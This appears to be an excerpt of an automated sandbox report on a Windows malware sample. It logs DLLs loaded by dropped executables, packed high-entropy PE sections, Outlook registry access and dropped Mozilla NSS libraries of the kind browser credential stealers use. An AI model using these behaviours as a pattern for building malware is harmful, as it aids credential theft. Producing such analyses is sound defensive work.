Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1816064 > 1048576

Source: file.exe

Static PE information: Raw size of juusqcgn is bigger than: 0x100000 < 0x1a1a00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2580964214.000000006C6BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: a0969106aa.exe, 0000001C.00000003.2941381485.0000000004750000.00000004.00001000.00020000.00000000.sdmp, a0969106aa.exe, 0000001C.00000002.3075139523.0000000000D42000.00000040.00000001.01000000.00000010.sdmp, a0969106aa.exe, 0000001E.00000003.3098995666.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, a0969106aa.exe, 0000001E.00000002.3139269920.0000000000D42000.00000040.00000001.01000000.00000010.sdmp, a0969106aa.exe, 0000001F.00000003.3230672067.0000000005370000.00000004.00001000.00020000.00000000.sdmp, a0969106aa.exe, 0000001F.00000002.3270869703.0000000000D42000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2580964214.000000006C6BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.d30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;juusqcgn:EW;nciomklg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;juusqcgn:EW;nciomklg:EW;.taggant:EW;
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Unpacked PE file: 21.2.DocumentsHCFBFBAEBK.exe.840000.0.unpack :EW;.rsrc:W;.idata :W;vosxtpoy:EW;nqcvauwq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;vosxtpoy:EW;nqcvauwq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.160000.0.unpack :EW;.rsrc:W;.idata :W;vosxtpoy:EW;nqcvauwq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;vosxtpoy:EW;nqcvauwq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.160000.0.unpack :EW;.rsrc:W;.idata :W;vosxtpoy:EW;nqcvauwq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;vosxtpoy:EW;nqcvauwq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Unpacked PE file: 24.2.6fc7e371fe.exe.c80000.0.unpack :EW;.rsrc :W;.idata :W; :EW;juusqcgn:EW;nciomklg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;juusqcgn:EW;nciomklg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Unpacked PE file: 27.2.6fc7e371fe.exe.c80000.0.unpack :EW;.rsrc :W;.idata :W; :EW;juusqcgn:EW;nciomklg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;juusqcgn:EW;nciomklg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Unpacked PE file: 28.2.a0969106aa.exe.d40000.0.unpack :EW;.rsrc:W;.idata :W;rfbmunfc:EW;iqxhhqxy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Unpacked PE file: 29.2.6fc7e371fe.exe.c80000.0.unpack :EW;.rsrc :W;.idata :W; :EW;juusqcgn:EW;nciomklg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;juusqcgn:EW;nciomklg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Unpacked PE file: 30.2.a0969106aa.exe.d40000.0.unpack :EW;.rsrc:W;.idata :W;rfbmunfc:EW;iqxhhqxy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Unpacked PE file: 31.2.a0969106aa.exe.d40000.0.unpack :EW;.rsrc:W;.idata :W;rfbmunfc:EW;iqxhhqxy:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6AC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6AC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsHCFBFBAEBK.exe.0.dr	Static PE information: real checksum: 0x310b43 should be: 0x3131a1
Source: file.exe	Static PE information: real checksum: 0x1bfe46 should be: 0x1c4469
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1bfe46 should be: 0x1c4469
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x310b43 should be: 0x3131a1

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: juusqcgn
Source: file.exe	Static PE information: section name: nciomklg
Source: file.exe	Static PE information: section name: .taggant
Source: DocumentsHCFBFBAEBK.exe.0.dr	Static PE information: section name:
Source: DocumentsHCFBFBAEBK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHCFBFBAEBK.exe.0.dr	Static PE information: section name: vosxtpoy
Source: DocumentsHCFBFBAEBK.exe.0.dr	Static PE information: section name: nqcvauwq
Source: DocumentsHCFBFBAEBK.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: juusqcgn
Source: random[1].exe.0.dr	Static PE information: section name: nciomklg
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name: vosxtpoy
Source: skotes.exe.21.dr	Static PE information: section name: nqcvauwq
Source: skotes.exe.21.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B536 push ecx; ret	0_2_6C67B549
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_0085D91C push ecx; ret	21_2_0085D92F
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_00851359 push es; ret	21_2_0085135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0017D91C push ecx; ret	22_2_0017D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0017D91C push ecx; ret	23_2_0017D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0017DFC6 push ecx; ret	23_2_0017DFD9

Source: file.exe	Static PE information: section name: juusqcgn entropy: 7.954433207913269
Source: DocumentsHCFBFBAEBK.exe.0.dr	Static PE information: section name: entropy: 7.060847869629145
Source: random[1].exe.0.dr	Static PE information: section name: juusqcgn entropy: 7.954433207913269
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.060847869629145

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCFBFBAEBK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsHCFBFBAEBK.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCFBFBAEBK.exe

Jump to dropped file

